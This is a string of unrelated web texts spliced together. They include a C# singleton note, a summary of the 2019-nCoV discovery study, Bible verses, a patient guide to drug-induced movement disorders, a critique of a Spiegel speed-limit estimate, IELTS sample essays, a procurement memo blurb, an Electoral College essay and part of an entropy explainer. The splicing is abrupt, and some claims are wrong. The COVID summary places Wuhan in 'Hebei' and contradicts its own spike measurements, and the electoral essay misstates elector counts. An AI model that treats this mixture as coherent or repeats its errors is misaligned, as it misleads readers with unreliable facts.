The ideal thing would be to have a language keyword like singleton: an artifact having no static members and only one constructor with no parameter and no access modifier. It can be inherited only if marked as abstract. It may be used like a static class but will act like an instancied class. It may be serializable and disposable: the first usage deserializes the object if a stream is associated or creates a new single instance, disposing serializes the singleton or does nothing if no stream is associated, changing the stream moves the instance from the old to the new place, and setting a stream on a singleton already instancied causes a usage exception if the new stream localizes an item that exists.
Recommended articles
Implementing the Singleton Pattern in C#
Fun with Singletons in C# 2.0
Generic Singleton Pattern using Reflection in C#
Lazy Vs Eager Init Singletons / Double-Check Lock Pattern
The quest for the Generic singleton in C# |
1. According to an investigation by a rapid response team, the Wuhan outbreak was most likely caused by a novel betacoronavirus.
2. This study reinforces the utility of next-generation sequencing and bioinformatics, especially in the identification of poorly-characterized pathogens.
Evidence Rating Level: 2 (Good)
Study Rundown:
Coronaviruses, RNA-containing particles enveloped with protruding glycoproteins, are widely distributed in mammal and avian populations. In December of 2019, several cases of pneumonia with unknown cause were identified in Wuhan, the capital of Hebei province in China. An investigation launched by the Chinese CDC detected a novel strain of coronavirus (2019-nCov) that was traced back to a wet animal seafood market. Lower respiratory tract samples were collected from patients who presented with pneumonia of unknown cause as well as control patients with pneumonia of known cause. Following extraction of nucleic acids from these samples, viral RNA was isolated and sequenced, yielding an 87% match with a previously published bat SARS-like coronavirus genome. Virion particles were found to be generally spherical with ~10 nm spikes via transmission electron microscopy, and cytopathic effects were observed in airway epithelial cells 4 days after inoculation. While this study did not fulfil Koch’s postulates, evidence of seroconversion and pathogenicity have helped etiologically implicate 2019-nCov in the disease outbreak. Further research is needed to determine the coronavirus’s modes of transmission and develop effective strategies to control its spread.
In-Depth [case series]:
In this study designed to identify the cause of viral pneumonia in clusters of patients in Wuhan, China, various molecular techniques, high-throughput sequencing, and transmission electron microscopy were utilized to detect, isolate, and visualize a novel sarbecovirus. After collecting lower respiratory tract samples, including bronchoalveolar-lavage fluid, nucleic acids were extracted and tested for foreign material using polymerase chain reaction (PCR) and a real-time reverse transcription PCR (RT-PCR) assay. Supernatant from bronchoalveolar-lavage fluid samples was inoculated on special-pathogen-free human epithelial cell cultures and monitored daily with light microscopy and RT-PCR. Cells that showed cytopathic effects were negative-stained and subjected to transmission electron microscopy; virion particles were found to be generally spherical with some pleomorphism and had an average diameter of 60 to 140 nm with prominent spikes characteristic of the coronaviridae family. Reads generated from Illumina and nanopore sequencing were assembled into contig maps, and genome gaps were filled using rapid amplification of cDNA ends. From these, three complete genome sequences were crafted, revealing a 86.9% nucleotide sequence identity to a known bat SARS-like Cov genome. Additional evidence supporting the discovery of a novel coronavirus include identification of a specific antigen through immunohistochemical analysis and confirmation of pathogenicity through monkey experiments.
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Recognize in the Bible (28 instances)
28 occurrences
'Recognize' in the Bible
He didn't recognize Jacob, because his hands were hairy like those of his brother Esau, so Isaac blessed him.
Let the families of earth recognize the LORD that he is glorious and powerful.
Recognize the glory that is due the LORD! Bring your offering, and come into his presence, worshiping the LORD in all of his holy splendor.
Observing him from a distance, at first they didn't even recognize him, so they raised their voices and burst into tears. They each ripped their robes, threw ashes into the air on their heads,
It remained standing, but I couldn't recognize its appearance. A form appeared before my eyes; At first there was silence, and then this voice:
He doesn't return again to his house, and his place won't recognize him anymore."
"An eye that gazes at him won't do so again; and his place won't even recognize him.
From there he searches for prey, and his eyes recognize it from a distance.
a decree that he prescribed for Joseph when he went throughout the land of Egypt, speaking a language I did not recognize.
who say: "Let God be quick, let him speed up his work so we may see it! Let it happen! let the plan of the Holy One of Israel draw near, so we may recognize it!'"
all so that people may see and recognize, perceive, consider, and comprehend at the same time, that the hand of the LORD has done this, and that the Holy One of Israel has created it."
Watch! I'm about to carry out something new! And now it's springing up don't you recognize it? I'm making a way in the wilderness and paths in the desert.
He'll recognize neither the gods of his ancestors nor those desired by women he won't recognize any god, because he'll exalt himself above everything.
He'll take action against the strongest fortresses. With the help of a foreign god, he'll recognize those who honor him, making them rule over many, and he'll parcel out the land for a profit.
They set kings in place, but not by me. They established princes, whom I did not recognize. They crafted idols for themselves from their silver and gold; as a result, they will be destroyed.
But I tell you that Elijah has already come, yet people did not recognize him and treated him just as they pleased. In the same way, the Son of Man is going to suffer at their hands."
They will level you to the ground you and those who live within your city limits. They will not leave one stone on another within your walls, because you didn't recognize the time when you were visited."
I didn't recognize him, but the one who sent me to baptize with water told me, "The person on whom you see the Spirit descending and remaining is the one who baptizes with the Holy Spirit.'
They'll never follow a stranger, but will run away from him because they don't recognize the voice of strangers."
When day came, they didn't recognize the land, but they could see a bay with a beach on which they planned to run the ship ashore, if possible.
I wrote a letter to the church, but Diotrephes, who loves to be in charge, will not recognize our authority.
Bible Theasaurus
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Drug-Induced Dyskinesias & Dystonia
Tardive Syndromes
Drug-induced movement disorders come in different forms and can be caused by a number of medications that alter brain chemistry.
The types of drugs most commonly associated with causing movement disorders are dopamine blocking medications (i.e. dopamine antagonist or antidopaminergic medications), which block a chemical in the brain called dopamine. This category of drugs includes first generation antipsychotics (neuroleptics), second generation (atypical) antipsychotics, certain anti-nausea drugs (antiemetics) that block dopamine, lithium, stimulants, and certain antidepressants (selective serotonin reuptake inhibitors and tricyclic antidepressants).
Dopamine blocking drugs can cause a variety of movement disorders including parkinsonism, tardive syndromes, chorea, dystonia, tremor, akathisia, myoclonus, tics, and a very serious condition called neuroleptic malignant syndrome.
Movement symptoms may be focal to a specific body part, affect one side of the body, or be generalized throughout the body. Drug-induced movement disorders can sometimes, but not always, be relieved by stopping the offending drug. As is the case with additional movement disorders, anxiety and depression exacerbate symptoms.
Tardive dyskinesias are involuntary twitching or writhing movements, often affecting the face, mouth, and tongue. The symptoms can include lip-smacking, chewing movements, and tongue movements. This can cause problems with chewing, speaking, swallowing, and dental care. Breathing is sometimes affected depending on the nature of the movements. The limbs and trunk are less commonly affected. Tardive dyskinesias can be accompanied by feelings of inner restlessness (akathisia). The individual may perform repeated movements in an attempt to relive discomfort.
Tardive dyskinesias is typically associated with at least three months use of dopamine blocking medications, including first and second generation antipsychotics and anti-nausea (antiemetic) drugs, particularly prochlorperazine (Compazine) and metoclopramide (Reglan).
Symptoms are initially mild and progress over time. Symptoms may be more noticeable to family and bystanders than to the patient. Symptoms may decrease with a sensory trick or during sleep. Tardive syndromes tend to persist and can become permanent. Symptoms may occur while the individual is taking the medications or after stopping the medications. Paradoxically, in some cases stopping the offending drug may exacerbate the severity of movements because of the effects on brain chemistry. In some cases, increasing the dosing of the medication will reduce movement symptoms, but this is generally not recommended as a treatment strategy due to the chance that symptoms will worsen over time.
Risk factors for tardive dyskinesias include elderly age, being female, pre-existing mood disorders, cognitive disturbances, history of substance abuse, diabetes, HIV positive status, and other factors including higher dose or long term use of antipsychotics and treatment with first generation antipsychotic medications.
Treatment may include discontinuing the offending drug, though symptoms may persist or worsen during drug withdrawal. There may be individuals, however, for whom discontinuing antipsychotics is not viable but the dosage may be lowered. Oral medications approved by the US Federal Drug Administration (FDA) to suppress tardive dyskinesia symptoms include valbenazine or deutetrabenazine. Additional agents may include tetrabenazine, clonazepam, amantadine, propranolol, and Ginko biloba.
Deep brain stimulation may be a treatment option for severe cases that do not respond to medications.
Treating co-occurring anxiety is an important part of the treatment strategy given its tendency to worsen overall symptoms.
Tardive dyskinesias can occur with tardive dystonia, but there are distinct clinical and pharmacological differences.
Acute dystonia, sometimes called an acute dystonic reaction, can occur within hours or days of exposure to a dopamine blocking drug or, less commonly, after an increased dose of a dopamine blocking drug or decreased dose of a concurrent anticholinergic drug (e.g. benztropine). Acute dystonia is more often associated with butyrophenone antipsychotics (e.g. haloperidol) compared to phenothiazine antipsychotics (e.g. prochlorperazine and chlorpromazine). Acute dystonia is more common in younger patients compared to classic tardive dyskinesias.
Acute dystonia often includes involuntary movements of the face, eyes, jaw, tongue, neck, trunk, and sometimes limbs.
Typical presentation of acute dystonic reaction includes:
• Head tilts back or to the side with tongue protrusion
• Forced opening of the mouth
• Arching trunk
• Eyes turned upward or to the side (oculogyric crisis)
Treatment for acute dystonia includes discontinuing the offending drug and treatment with anticholinergics or antihistamines (i.e. diphenhydramine), often injected or intravenously. Even without medical treatment, most cases resolve within 12 to 48 hours.
Tardive dystonia affects different patient populations and responds differently to treatment compared to classic tardive dyskinesia.
Tardive dystonia occurs after prolonged use (more than three months) of dopamine blocking drugs. Many of the same medications that cause tardive dyskinesia can cause tardive dystonia.
Tardive dystonia can affect all ages. Tardive dystonia tends to progress but more so in children who develop dystonia. Dystonia in adults tends to stay focal to a specific body area rather than involve multiple body parts.
Focal tardive dystonia often affects the facial muscles, often with akathisia (feelings of inner restlessness). Symptoms of focal dystonia can occur days or years after drug exposure. Symptoms may respond to sensory tricks.
Common presentations of tardive dystonia, as compared to dystonia due to other causes, include:
• Head tipping back (retrocollis)
• Trunk arching back
• Internal rotation of arms, elbow extension, wrist flexing
• Jerking movements in addition to dystonia
• Movement symptoms decrease with voluntary motion, such as walking
Treatment for tardive dystonia can include oral medications such as dopamine blocking drugs, anticholinergic drugs, benzodiazepines, botulinum neurotoxin injections, and deep brain stimulation.
Many individuals with drug-induced movement disorders may have complex healthcare needs, so a team of medical experts may be appropriate. The team may include a movement disorder neurologist, psychiatrist, psychotherapist, and additional healthcare providers.
Living well with drug-induced movement disorders is possible. In some cases, treatment can dramatically reduce symptoms.
Individuals affected by drug-induced movement disorders are strongly encouraged to:
• Seek evaluation from a neurologist with special training in movement disorders.
• Learn about drug-induced movement disorders and treatment options.
• Seek expert mental health professionals to diagnose and treat possible co-existing anxiety and/or underlying mental health disorders.
• Develop a support system of support groups, online resources, friends, and family.
• Explore complementary therapies for overall wellness.
Get active within the patient advocacy community.
Dystonia Community
How You Can Help |
English Uncategorized
The speed limit on the Autobahn
The Autobahn is a world-famous German system of motorways. From afar it is not possible to distinguish the Autobahn from motorway systems in other countries. However, the Autobahn is very different in one way: on most of the Autobahn there are no speed limits. Want to drive 160? 180? 240? Fine, then do that.
Obviously, doing away with strictly enforced speed limits increases the probability of more serious, more frequent and more deadly car crashes. In other words, in Germany we pay for freedom with lives. And as a result, there is constant pressure on the German government to introduce a speed limit.
One reason why it is so impossible to settle the debate, whether or not to introduce speed limits, is that no one really knows how costly, in terms of human lives, the lack of speed limit is. Until recently, when a data journalist at Der Spiegel, a respected Hamburg based newspaper, made an honest attempt.[i]
Math from Hamburg
The article makes a big claim in its headline: speed limits could save up to 140 lives a year.[ii] 140 lives, in a country of around 80 million, is astonishing. If this was the true number, the policy would be a no-brainer. Unfortunately, it probably isn’t the true number. In fact, if this was the true number, then it implies that 34% of all road deaths in 2017 could be avoided, if only speed limits had been introduced. Which sounds – and probably is – too high.
The author of the article, Patrick Stotz, is clearly highly skilled. He carries out a complex programming exercise and serves his analysis to readers on in a language that everyone, data-minded or not, can easily understand. More importantly Stotz is completely transparent with his work. In a separate blog post[iii] Stotz provides more detail on his results, and on his Github page[iv] he shares all the data, for anyone – including me – to download and scrutinise.
A bit about the data
Stotz truly carriers out some impressive data collection, matching and cleaning work. I am not entirely sure how he has compiled this data (that is on me, I am not a programmer), but if it is accurate (which I have no reason to believe it’s not) Stotz should be praised for compiling and creating a fantastic database of speed limits and road accidents.
The database contains 42,410 segments of a road (90% of them less than 1.1 km long). Each segment has information on the following variables:[v]
• speed limit (states the speed limit on the segment),
• total annual traffic (how many km were driven on the road in 2017),
• number of fatal accidents, and
• number of serious accidents.
The data is not complete for all roads and all deaths, although it comes close. Also, it is not clear if there are biases in the dataset, which would either favour motorway deaths over rural road deaths or not. These are of course very important issues, which should be addressed, if possible. But for sakes of clarity I have decided to leave them aside in this note.[vi]
All in all, a great dataset that enriches the discussion on the speed limit.[vii]
How is the figure 140 calculated?
First thing Stotz does in his calculation is to split the road sections into two groups:
1. segments without speed limit; and
2. segments with speed limit.
For each segment he then proceeds to summing up (individually):
1. Total annual traffic (km driven), and
2. Total fatal accidents.
Then for each group of segments, he divides the total fatal accidents with the total annual traffic. The metric he gets out of that math is: deadly accidents per million km’s of driving.
Table 1: Replicated results of the Spiegel article
Segment Fatal accidents, per million km driven
Segments with speed limits 0.92
Segments without speed limits 1.67
Note: In the original calculation the segments with speed limits was 0.95. This is most likely due to the difference in treatment of the unclear speed limits (such as “signal”). I removed any ambiguous speed limits, which Stotz probably did not. This is however not important in the context of my analysis.
In order to get to a counterfactual number of deaths (i.e. how many lives would have been lost had there been a time limit), the article assumes that if speed limits were introduced then death rates would be the same on current segments without speed limit as it is today on roads with speed limits.
In the dataset, there were a total of 242 deaths, 190 of which occurred on segments without speed limit. The segment that is without speed limit accounts for around 114 million kilometres of driving. So, in order to replicate Stotz calculation I multiplied the 0.92 (from the speed limit segment) with the total miles driven on the segment without limit. And the result was 84.6.
84.6 fatal accidents is not the number of fatal accidents that could have been saved had there been a speed limit in 2017. In fact, it is only the number of fatal accidents that would not have occurred had the fatality rate been the same on segments with and without speed limit. That is an important distinction.
84.6 lives account for around 35% of all deaths recorded in the database. But the database only contains 242 fatal accidents, whereas the number of accidents (and total fatalities) was higher in the year 2017. But Stotz gets around that issue with a simple assumption of no bias in his data, and by assuming that his sample is representative of all roads in 2017. He never states that, but it is intrinsic in how he gets to the 140 number. Adopting his assumption I can multiplying my 35% figure (change in deaths if speed limit was introduced) with the actual death toll in 2017 (409), and get to 143 lives saved, only 2 lives from Stotz’s calculation.[viii]
What’s wrong with that approach
Like with any calculation of such uncertainty, there are number of areas which can be critiqued. However, the key issue I took with the calculation had to do with the comparator group (that is, the group used to calculate the counterfactual deaths). And the implicit assumption of a speed limit well below the 130 km/h.
That assumption crashes the 140 figure into its death, at 110 km/h.
What Stotz does in his calculation is that he aggregates all segments on the autobahn that have a speed limit into a single comparator group. Regardless whether that segment has a limit of 130, 100 or 60 km/h. And by aggregating all roads into a single speed limit group, Stotz dilutes the comparator group – effectively raising the denominator (millions of km’s driven) for the death rate on segments with speed limit.
For the sakes of clarity: since almost no fatal accidents occur at speeds under 90, this approach deflates the death rate unreasonably. And in fact, it implies that the weighted average speed limit that would have to be imposed on the segments that are currently with no limit is around 110 km/h.[ix]
Table 2: traffic, deadly accidents and death-rate, by speed limit.
Figure 2
The discussion in Germany is not if a speed limit of 110 km/h should be applied, but rather whether a speed limit of 130 km/h is to be put in place. Therefore, the reasonable comparator group is not all roads, including 80 km/h roads, but roads that currently have a speed limit of 130 km/h. Which are associated with death rate of 1.53.
When I replicate Stotz’s calculation with that the death rate of a more reasonable comparator I get that the 32 lives would have been spared in, had the death rate on segments with no speed limit bin the same as the death rate on roads with 130 km/h as speed limit.
That approach is however not with-out shortfalls. Firstly the sample size on 130 km/h roads is small and they represent a small fraction of traffic as well as small number of deaths (see table above). Therefore, alternatively it might make sense to use the 120 km/h roads, as they count for around 15% of traffic and 20% of deaths. Since the death rate on 120 roads is relatively low, that calculation would give a much higher maximum estimate of 216 lives saved.[x] But now we are trading off realism and interpretation for sample size; the debate is not about setting the limit to 120 km/h, but 130 km/h.
My attempt to calibrate the value
Setting potential biases and intrinsic assumptions aside, another important issue in the calculation is the small sample size. The fact that the best comparator groups (130 km/h) only has 15 recorded deaths prevents us from generalising about any number derived from any calculation done with that number in the numerator. And, it is extremely prone to small errors that might exist in the database.
As an example, my calculation using the 130 km/h as comparator group implied that 15 accidents (32 lives) could have been avoided, had the death rate been the same on 130 km/h segments as it was on segments without speed limit. If, say, there is an error in the database and there were in fact 17 accidents that occurred on 130 km/h segments. This error would suffice to push the death rate of the 130 km/h segment above that of the segments without speed limit and turn the entire headline on its head: introducing speed limits could kill 17 people a year. Which is non-nonsense.
Therefore, in order to increase the sample size, I had to be creative. The database also contains information on serious accidents, and rather than looking only at the small number of deadly accidents, I decided to see what the figure would be if we were to look at all serious accidents (deadly and non-deadly). Effectively rephrasing the question to:
“what could the reduction in the rates of serious accidents be, if speed limits were to be introduced?”
For number of reasons the estimate from this exercise is still far from being the ultimate truth (this is clearly not causally robust, and there is no lack of omitted variable bias). But, with a much larger sample sizes, I think I can improve the accuracy of the number somewhat.
Table 3: serious (deadly and non-deadly) accidents
Figure 3
The answer to the question I posed earlier (“what could the reduction in the rates of serious accidents be, if speed limits were to be introduced?”), again depends. In this calculation, it turns out that serious accidents are more likely to occur at 120 km/h roads than on 130 km/h. Again, we are not dealing with very large sample sizes. However, it can be said that around 13-19% of serious accidents could have been avoided, had the accident rate been the same on segments without speed limit as it was on roads with 120 or 130 km/h speed limit. Which, allowing for a bit of assumption flexibility, equates to somewhere in the range of 52-77 lives. Which is still a huge number and suffices to make an explosive headline.[xi]
Table 4: reduction in serious accidents, by different speed limit serious accident rates.
figure 4
Some final words
This article is not meant as an attack. Stotz deserves applause for his work. It is really good. Instead, it is written to help people – data journalists and readers of data journalism – understand the complexities that lie behind the statements they make and read. Being a data journalist is hard. Good news outlets, such as Der Spiegel, should invest more in the support of their data journalists. Hire a chief statistics officer, for quality control. Get proof-readers, but not for words but for stats.
Although I do not expect this article to go viral in Germany (especially in that light that I am too lazy to translate it), I would still like to put my safety break on and make my personal position clear: In principle I am against introducing a speed limit. I think it is one of the many things that reflect the, often unnoticed, German free spirit. Just like the fact that there is a nude beach right across from the Cologne cathedral, in the middle of Germany’s fourth largest (and greatest) city. Or the low age limit (which is entirely ignored anyway) on alcohol purchases. Germans love their rules, and German bureaucracy is a what the House that Sends you Mad (see Asterix and the 12 Tasks ) is built on. But at its core Germany is not a nanny state. And if some Bavarians want to reduce his life expectancy, by rocketing down the Autobahn, then that is his freedom to do so.
At least that was my conviction, before I looked at this data.
The externality caused by fast drivers is substantial. The driver of the BMW only pays a part of the cost (with his live) when he crashes into slow, innocent bystanders, who had never agreed to decrease their live expectancy. This probably happens all the time and amounts to a transfer of value from carful people to people who like to live dangerously. The danger seekers get freedom, but at the cost of higher probability of death from the careful folks. And that is not fair.
Which puts me on the fence.
Anyway, the dataset contains lots of information. Spiegel should keep working on it. They should try and understand what caused these accidents and look at how speed played a role. They should slowly, but steadily, build a more detail into the data-set. An even though they will never be able to get the detail on thousands of road-deaths, they could get the detail on hundrads. And that could really help inform poicymakers. Becuase if you have too choose, good data is better than big data.
[i] The main reason is because it is an awful partisan debate. A bit like the American gun debate, but objectively not as dumb.
[ii] https://www.spiegel.de/auto/aktuell/tempolimit-koennte-jaehrlich-bis-zu-140-todesfaelle-verhindern-a-1254504.html
[iii] https://spiegel-data.github.io/2019-02-tempolimit/01_Auswertung.html
[iv] https://github.com/spiegel-data/2019-02-tempolimit
[v] The data contains more variables, but these are the once that Stotz used in his calculation and I will use in mine.
[vi] Although I could speculate on biases, I do not know enough about the data collection process to be in a position do make meaningful comments. But it would be interesting to hear Stotz’s thoughts, as he is obviously very close to the data.
[vii] The data is an aggregated cross-section for one year. In other words, there is no time dimension. Which means it is hard to come up with a creditworthy empirical strategy that can truly address causality.
[viii] When I replicated Stotz’s calculation I got 143 lives saved, a slightly higher number than he did. In his calculation, Stotz got 141 (before rounding in the headline, which I fully endorse!). I suspect the difference being down to difference in our data cleaning methods. However, a difference of two is nothing to loose sleep over.
[ix] I am being a little bit liberal with the language here, but to be clear the 110 km/h is the weighted average of the speed limits of the individual speed limits in the comparator group.
[x] This would imply that 62% of all lives lost on roads without limit and 130 km/h roads could have been saved had it been for 120 km/h limit. Which is completely unbelievable, especially when looking at the relatively moderate death rates on German roads, compared to other developed nations which do all have speed limits.
[xi] When extrapolating to number of deaths I am making a big assumption on the distribution of deadly and non-deadly accidents on 130 km/h roads and roads without speed limits. This could easily be challenged, and in case that there is a large difference in these rates I could potentially be underestimating the lives spared.
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Academic IELTS Writing Task 2 Topic: Architecture & History – Sample Essay
Academic IELTS Writing Task 2 Topic Architecture & History Sample Essay
IELTS Writing Task 2
Old buildings:
– The reservoir of glorious past of a nation
– Derelicts and run-down houses : nightmares to people
– Symbolic of the unique architecture: panacea for modern people
New buildings:
– Accommodate more people for a better life
– Attract more investors because of good infrastructure
Also check: IELTS Writing Task 2
Band 8.0 Sample
Ancient buildings are relics of the past and should be preserved, in the view of some people. Others, however, believe that the appearance of modern buildings will open a new horizon for the development of nation. My essay will discuss the validity of both sides.
The ancient houses are, first, believed to the reservoir of the glorious past of a nation. With their existence along each road, it is undeniable that no sooner does young generation grow up than they become proud of their country’s admirable old-day history through the image of roof, ceiling and walls. Philosophically speaking, like a person who clings to the past to reflect, views the present to enjoy and contemplates the future, a city itself entails an inextricable link of these three time axes to revise, thrive and fly. Nevertheless, in case of derelict old houses, such experience of living in these shelters could be a nightmare to quite a few people, for instance, Hanoi people who are suffering a low-quality life in ancient street. It is a common-scene to some that three to four households have only one toilet system with their wall painting layers bound to peel off and their ceilings sagging owing to weathering.
Another rationale is that these old houses are symbolic of the unique architecture and serve as a mental panacea for hurry-sickness city-dwellers. Hardly can the modern day people recreate such beauties as that by famous architects of yesterdays who utilized the past materials, and for that reason, some streets adorned with second-to-none buildings are ideal destinations for the visitors world-wide to savor themselves in the sense of serene old days. To those who are sucking in a life of craze, the tiny old houses resemble oases to ease their stress. Opponents have their points in the belief that as a result of the explosion of population, so crowded do streets turn out that these old, unsafe and dirty houses should be demolished to give way to skyscrapers to accommodate an ever-increasing number of people who flock to the city in hope of a better life. Also, not until the cities are paved with modern buildings and wide roads do investors from other continents pay greater attention, which, in turn, generates a huge amount of profit for the entire nation.
In the final analysis, each ideas has it own reasoning, but in my opinion, the presence of old houses is essential to the survival of any city for their originality and unforgettable destinations of travel lovers.
Written By
Most nations around the world have many ancient buildings in their cities or surrounding areas. In my opinion, these building should be maintaining, but this does not mean progress should stop.
On the one hand, there are many benefits to nation while preserving the old buildings. First and foremost advantage is that, their inhabitants, especially children get the knowledge of their past history and can explore the lifestyle of ancient people’s. Take an example of central Sikh museum in Punjab, where visitors can see the ancient coins, clothes and some videos related to past living style of Sikhs, and can apply these things in their life to preserve the history of their former people’s. Second profit of keeping these buildings is that, many of these buildings provides income to a country as many tourists visit them in great numbers. Finally, these buildings are very beautiful and architecture can copy the style of these buildings and can build a new one. A great example of this is the Anandpur sahib city of Punjab, where every house is renovated in classic buildings to represent the culture and heritage of this city.
On the other hand, advocates of destroying the former buildings also have some great viewpoints. The most obvious point is that, by demolishing these buildings, the government have more space to fulfill the need of the growing population. In other words, by replacing old buildings, there will be more space for housing, which is especially important due to the current problem of overcrowding. Another viewpoint in this regard is that, people believe that if these building utilize for modern work or some other purposes then there will be more profit along with attracting tourists. A well worth example of this is Baring Union Christian College, which is old building but used as an education institute. As a result, inhabitant of this country can get their education and tourist get pleasure from the same building.
In conclusion, it’s seem to me that the presence of old building is crucial to the survival of any city for their originality and unforgettable destination for travel lovers.
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President Obama signed a February 21, 2012, memorandum entitled “Driving Innovation and Creating Jobs in Rural America through Biobased and Sustainable Product Procurement.” The BioPreferred Program, which was established by the Farm Security and Rural Investment Act of 2002 (2002 Farm Bill) and amended by the Food, Conservation and Energy Act of 2008 (2008 Farm Bill), is intended to increase federal procurement of biobased products, which will promote rural economic development, create new jobs, and provide new markets for farm commodities. According to the memorandum, the federal government, with leadership from the United States Department of Agriculture (USDA), has made significant strides in implementing the BioPreferred Program. The goal of the Presidential memorandum is to ensure that agencies effectively execute federal procurement requirements for biobased products. |
What Is The Meaning Of The Electoral College City College/Political Science Essay
1616 words - 7 pages
PCS 101 Introduction to American Government
chief executive. The constitution assigns each state a specific number of electors equal to the
combined total of the state’s senate and house of representatives; the number of electors in each
state ranges from three to 54, for a total of 538 electors. A majority of 270 electoral votes is
required to elect the president. The electoral college process consists of the selection of the
electors, the meeting of the electors where they vote for a president and a vice president, and the
counting of the electoral votes by the congress. The meeting of the electors takes place on the
electors meet in their states, where they cast their votes for president and vice president on
separate ballots. Then the vice president, supervises the count of votes and announces the results
of the vote. the president elected takes the oath of office and becomes the president of the Untied
States on January 20th in the year following the presidential election. The electoral college
process should be preserved and it shouldn’t change because the electoral college is an essential
part of federalism, which is the basis of our government system.
The establishment of the electoral college process has some advantages and
disadvantages. People must be aware of them so that they know where they stand. One of the
many disadvantages of the electoral college process is the possibility of electing a minority
president (one who doesn’t have absolute majority of popular votes) because of the possibility of
depressing voter turnout. One way in which a minority president could be elected is if the
country is deeply divided politically that three or more candidates split the electoral votes among
them, such that no candidate obtained the majority vote. A second way in which a minority
president could become president is if one candidate’s popular support were heavily concentrated
in some states while the other candidate has a slim popular lead in enough states to win the
majority of votes of the electoral college. A third possible way of electing a minority president is
if a third minor party or candidate, no matter how small, drew enough votes from the top two that
no candidate received over 50% of the overall popular votes. Of the many disadvantages of the
electoral college process, the risk of faithless electors worries many people. A faithless elector is
who is guaranteed to vote for his party’s presidential candidate but, however votes for another
candidate. Faithless electors...
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The two previous posts were quite substantial. Still, they were only the groundwork for what we really want to talk about: entropy, and the second law of thermodynamics, which you probably know as follows: all of the energy in the universe is constant, but its entropy is always increasing. But what is entropy really? And what’s the nature of this so-called law?
Let’s first answer the second question: Wikipedia notes that this law is more like an empirical finding that has been accepted as an axiom. That probably sums it up best. That description does not downplay its significance. In fact, Newton’s laws of motion, or Einstein’s relatively principle, have the same status: axioms in physics – as opposed to those in math – are grounded in reality. At the same time, and just like in math, one can often choose alternative sets of axioms. In other words, we can derive the law of ever-increasing entropy from other principles, notably the Carnot postulate, which basically says that, if the whole world were at the same temperature, it would impossible to reversibly extract and convert heat energy into work. I talked about that in my previous post, and so I won’t go into more detail here. The bottom line is that we need two separate heat reservoirs at different temperatures, denoted by Tand T2, to convert heat into useful work.
Let’s go to the first question: what is entropy, really?
Defining entropy
Feynman, the Great Teacher, defines entropy as part of his discussion on Carnot’s ideal reversible heat engine, so let’s have a look at it once more. Carnot’s ideal engine can do some work by taking an amount of heat equal to Qout of one heat reservoir and putting an amount of heat equal to Q2 into the other one (or, because it’s reversible, it can also go the other way around, i.e. it can absorb Q2 and put Q1 back in, provided we do the same amount of work W on the engine).
The work done by such machine, or the work that has to be done on the machine when reversing the cycle, is equal W = Q1 – Q2 (the equation shows the machine is as efficient as it can be, indeed: all of the difference in heat energy is converted into useful work, and vice versa—nothing gets ‘lost’ in frictional energy or whatever else!). Now, because it’s a reversible thermodynamic process, one can show that the following relationship must hold:
Q1/T= Q2/T2
This law is valid, always, for any reversible engine and/or for any reversible thermodynamic process, for any Q1, Q2, T1 and T2. [Ergo, it is not valid for non-reversible processes and/or non-reversible engines, i.e. real machines.] Hence, we can look at Q/T as some quantity that remains unchanged: an equal ‘amount’ of Q/T is absorbed and given back, and so there is no gain or loss of Q/T (again, if we’re talking reversible processes, of course). [I need to be precise here: there is no net gain or loss in the Q/T of the substance of the gas. The first reservoir obviously looses Q1/T1, and the second reservoir gains Q2/T2. The whole environment only remains unchanged if we’d reverse the cycle.]
In fact, this Q/T ratio is the entropy, which we’ll denote by S, so we write:
S = Q1/T= Q2/T2
What the above says, is basically the following: whenever the engine is reversible, this relationship between the heats must follow: if the engine absorbs Qat Tand delivers Qat T2, then Qis to Tas Qis to T2 and, therefore, we can define the entropy S as S = Q/T. That implies, obviously:
Q = S·T
From these relations (S = Q/T and Q = S·T), it is obvious that the unit of entropy has to be joule per degree (Kelvin), i.e. J/K. As such, it has the same dimension as the Boltzmann constant, k≈ 1.38×10−23 J/K, which we encountered in the ideal gas formula PV = NkT, and which relates the mean kinetic energy of atoms or molecules in an ideal gas to the temperature. However, while kis, quite simply, a constant of proportionality, S is obviously not a constant: its value depends on the system or, to continue with the mathematical model we’re using, the heat engine we’re looking at.
Still, this definition and relationships do not really answer the question: what is entropy, really? Let’s further explore the relationships so as to try to arrive at a better understanding.
I’ll continue to follow Feynman’s exposé here, so let me use his illustrations and arguments. The first argument revolves around the following set-up, involving three reversible engines (1, 2 and 3), and three temperatures (T1 > T> T3): Three engines
Engine 1 runs between T1 and Tand delivers W13 by taking in Q1 at T1 and delivering Q3 at T3. Similarly, engine 2 and 3 deliver or absorb W32 and W12 respectively by running between T3 and T2 and between T2 and Trespectively. Now, if we let engine 1 and 2 work in tandem, so engine 1 produces W13 and delivers Q3, which is then taken in by engine 2, using an amount of work W32, the net result is the same as what engine 3 is doing: it runs between T1 and Tand delivers W12, so we can write:
W12 = W13 – W32
This result illustrates that there is only one Carnot efficiency, which Carnot’s Theorem expresses as follows:
Now, it’s obvious that it would be nice to have some kind of gauge – or a standard, let’s say – to describe the properties of ideal reversible engines in order to compare them. We can define a very simple gauge by assuming Tin the diagram above is one degree. One degree what? Whatever: we’re working in Kelvin for the moment, but any absolute temperature scale will do. [An absolute temperature scale uses an absolute zero. The Kelvin scale does that, but the Rankine scale does so too: it just uses different units than the Kelvin scale (the Rankine units correspond to Fahrenheit units, while the Kelvin units correspond to Celsius degrees).] So what we do is to let our ideal engines run between some temperature T – at which it absorbs or delivers a certain heat Q – and 1° (one degree), at which it delivers or absorbs an amount of heat which we’ll denote by QS. [Of course, I note this assumes that ideal engines are able to run between one degree Kelvin (i.e. minus 272.15 degrees Celsius) and whatever other temperature. Real (man-made) engines are obviously likely to not have such tolerance. :-)] Then we can apply the Q = S·T equation and write:
Q= S·1°
Like that we solve the gauge problem when measuring the efficiency of ideal engines, for which the formula is W/Q= (T1 – T)/T1. In my previous post, I illustrated that equation with some graphs for various values of T(e.g. T= 4, 1, or 0.3). [In case you wonder why these values are so small, it doesn’t matter: we can scale the units, or assume 1 unit corresponds to 100 degrees, for example.] These graphs all look the same but cross the x-axis (i.e. the T1-axis) at different points (at T= 4, 1, and 0.3 respectively, obviously). But let us now use our gauge and, hence, standardize the measurement by setting T2 to 1. Hence, the blue graph below is now the efficiency graph for our engine: it shows how the efficiency (W/Q1) depends on its working temperature Tonly. In fact, if we drop the subscripts, and define Q as the heat that’s taken in (or delivered when we reverse the machine), we can simply write:
W/Q = (T – 1)/T = 1 – 1/T
